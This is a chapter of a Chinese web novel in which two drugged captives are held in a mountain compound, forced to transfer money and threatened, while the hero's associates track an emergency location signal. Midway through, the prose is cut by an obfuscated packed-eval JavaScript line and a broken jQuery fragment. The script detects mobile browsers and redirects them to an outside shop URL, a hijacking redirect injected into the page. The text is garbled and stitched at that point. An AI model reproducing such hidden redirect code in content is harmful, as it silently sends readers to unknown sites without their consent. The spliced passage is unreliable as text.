但他来不及说话,又被那男的踢了一脚:“快点!”
宋西樵的目光从苗因身上收回,老老实实地伸出发软的手指,划了图形密码,打开了手机。
苗因有点意外。
就在他差点溺水死了的那天晚上,她威胁着要取他性命,也没能让他打开这个手机,后来甚至还抢过去扔了。
现在怎么被踢了一脚就打开了?
苗因忍不住开始反省,是不是自己当时表现得不够凶?
不过算了,这种事以后再想吧,现在她很想趁机看看宋西樵的手机里到底有些什么不能看的。
但可惜的是,她趴地上,从这个角度完全看不到。
话说他这个手机应该是新换的吧?那天他把手机扔进河里,不大可能再捡得回来了。
男的又掏出来个手机,让宋西樵扫码:“把钱全部转过来!”
宋西樵转了,男的一看金额,脸上一喜:“这么多钱?”
继而又瞪宋西樵:“肯定还有,再转!”
宋西樵试了一下,把提示界面给他看:“超,额。”
男的收走了他的手机:“那明天再转。”
出去前还凶狠地叮嘱:“转钱的事,不准告诉其他人!否则的话……”他掏出一把刀,作了个抹脖子的动作:“懂?”
宋西樵很配合地点了点头。
男人走后,屋里就只剩下苗因和宋西樵两个人了。
苗因有些好奇:“喂,你转了多少钱啊?居然超额了?”
她这辈子就没试过超额这种事,完全不知道到底多少会超额。
好像因为每个人权限不同,金额也不同?
宋西樵说了一个数字。
苗因不由感叹:“真有钱啊。”
这么比起来,他答应给她的那笔导游费,真不算什么钱。
而且还不知道最后能不能拿到手。
因为他们现在明显是进了狼窝。
不但被人抓了,还中了迷药,导致两人现在都浑身无力,想跑也跑不了。
她可能稍微好点,起码说话没宋西樵那么费劲。
但也没好到哪里去。
宋西樵显然不像她一样,都什么时候了还关心钱不钱的问题,而是发出了正常人该有的疑问:“你为什么……会在这里?这是……什么,情况?”
她摇头:“我也不知道。我今天吃得有点多,于是就出门散步消消食,结果走到一处没人的路上,就被人从背后一棍子打晕了,醒来就到了这里。”
她说完了自己编的情况,又问:“你呢?”
宋西樵怔了一下,像是在回想,片刻后,才说:“我也是,随便,散了个步,就突然……发病晕倒了,然后就,什么,都不知道了。”
很好,看来两个人都不打算说真话。
不过没关系,这并不影响他们现在同为被俘者,立场一致。
苗因有些愁:“你说他们为什么要抓我们?不知道还能不能出去?他们会不会——”
她做了个抹脖子的动作。
宋西樵说:“不好……说。”
苗因顿时就更愁了。
她可不想死在这里。
但宋西樵说:“别担心,转账有……有金额限制,能……转好些天,没转完,之前,他应该不会……不会动手。”
苗因第一次深刻地认识到:有钱真好。
但她又觉得事情可能没那么简单。
她分析了一下:“他不准我们把转钱的事告诉别人,那很有可能,这只是他个人的私下行为,其他人压根不知道?”
“还有,他没拿我的手机过来让我转账,是因为我一看就很穷,还是因为他拿不到,你的手机都是他偷偷摸摸拿出来的?”
“那他们这伙人的目的,到底是钱还是其他什么?”
宋西樵觉得她说得有道理:“后续再……看。”
也对,只能静观其变了。
不过苗因不想这么干等着,她慢慢地慢慢地挪动着手,然后,把手指放进了嘴里,一下一下地咬。
?
宋西樵的眼神里打了个问号。
苗因解释:“刺激一下,看能不能快点恢复力气。”
宋西樵明显表示怀疑,但也没说什么。
*
a市。
一个戴着眼镜的青年正坐在电脑桌前捣鼓着什么东西,突然,屏幕上弹出一个红框通知,并伴随着“滴滴”的尖锐警示声。
然而不光是他这台电脑,办公室所有电脑,还有他的手机,都发出了同样的警示声。
一片“滴滴”警示声此起彼伏。
眼镜立刻打开红框,屏幕上又弹出来一个地图,而地图上,有一个小红点正在闪烁。
眼镜:“额?”
然后,他拿出手机打电话。
但是,没打通。
提示音是“你拨打的电话已关机……”
他脸色立刻就紧张了起来。
开始打另外一个人的电话。
*
a市某废弃的仓库里,两个年轻男子正打得剧烈。
一个中等个子,看起来像个小白脸,另一个又黑又高,不苟言笑冷着脸。
黑高个拳脚呼呼生风,一个扫堂腿过去,一根碗口粗的木柱应声而断。
小白脸力量感明显不如黑高个,但他身形足够灵活,两人一时也难分伯仲。
正打着,不远处的椅子上有手机响了。
小白脸一个后空翻,跳出丈外:“不打了,休息一会。”
他走过去拿起手机,看到来电显示为“眼镜”。
小白脸接了:“喂?”
“木白。”眼镜的声音在电话那头有点急切:“木青在吗?”
木白看了不远处仍在自己练功的黑高个一眼:“在。你找他?”
“找你两。”眼镜说:“老板刚用紧急系统发了一个定位!”
木白抹汗水的手立时顿住:“什么情况?你打过去问了吗?”
眼镜说:“打不通!打了几次都打不通。”
木白皱眉:“明明定位都发了,怎么会打不通?”
眼镜说:“不知道。不好说那边现在是个什么情况,反正现在就是电话打不通,其他信息通通不知道,只看得到一个简单的定位。我建议你和木青赶紧过去看看。”
木白说:“好。你先把定位发给我。有其他情况随时通知我们。”
很快,定位就发过来了。
木白站起来:“阿青,我们走。”
*
苗因终于有力气自己撑着坐起来了。
她说:“看来我这咬手指还是有点用啊。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027665|148225||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
宋西樵脸色微妙地调整了一下坐姿:“我也好些了。”
说话都没那么费劲了。
苗因:“……”
看来她手指白咬了。
不过这也是个好消息,说明随着时间的增加,他们确实会自动慢慢恢复。
这使得她都有心情想别的了:“要是咱们能出去,你会多请我吃顿饭吗?毕竟咱们也算是同患过难了。”
宋西樵认真点头:“好。再请十顿。”
苗因本来就是随便打个趣,没想到他还这么认真的答应了。
心里顿时很舒坦。
其实宋西樵这人,一直都很不错的。
只可惜,从她看到他手上那个弯月图案开始,他是怎样一个人就都不重要了。
她都会对他充满警惕。
尽管她有时候也会动摇和怀疑,觉得他不太像是“那些人”一伙的,但并不会因此就放下警惕。
怀疑归怀疑,没证实之前,她仍然还是要把他当做是“那些人”一伙的来警惕。
因为这个概率最大。
别看他们现在相处得还不错,说不得哪天就会站在不死不休的对立面了。
不过,这些事先不需要考虑,等眼下的困境解决了再说。
她说:“你说,我们现在要是喊叫,你觉得有没有用?”
宋西樵摇头:“估计没用。不然我们的嘴这时候应该已经被堵上了。”
苗因说:“有用没用的,先试试?”
宋西樵说:“也行。”
于是苗因就开始大声喊:“救命啊,有没有人啊?快来人,救命!”
没喊几声,门“咣当”一声打开了。
这次进来的是两个人。
走在前头的是之前进来过的那个男人,他开口骂道:“闭嘴!再喊就弄死你们!”
后面那男的却语气平静又顿涩地说:“喊了,也没用,没人,会听到。”
这声音很熟,就是苗因之前在“大宅院”听到过的,那个打电话的声音!
苗因紧盯着他,然后在看清他的脸后,又吃了一惊——他不就是那个打理莫家大宅院的老哑头吗?
可他不是又聋又哑吗?现在怎么既会听又会说?
苗因指着他:“老哑头?原来你平时都是骗人的?”
老哑头看了她一眼,没否认。
苗因又问:“你为什么抓我们?”
老哑头沟壑深重的脸上带着冷漠的残忍:“因为,这就是,你们的,命。”
他说完,再不废话,一挥手,和年轻些的那个男人上前来,一手一个,把屋里的两人架起来就走。
苗因这时候仍没多少力气,只能任由他们架着走:“哎,要带我们去哪里?”
男的说:“少废话,到了就知道了。”
很快,两人被架出了屋。
苗因趁机观察了一下,发现这就是一个单门独户的小院子,在小平房外用水泥砖砌了一堵围墙,周边都是连绵的山林,根本看不到其他人家。
果然是喊了也没用。
苗因又问:“你们到底什么时候放我们走?”
男人说:“闭嘴。”
两人很快被带到另一间房里。
这间房拉着厚厚的窗帘,光线暗得刚从外面进去的人压根什么都看不见。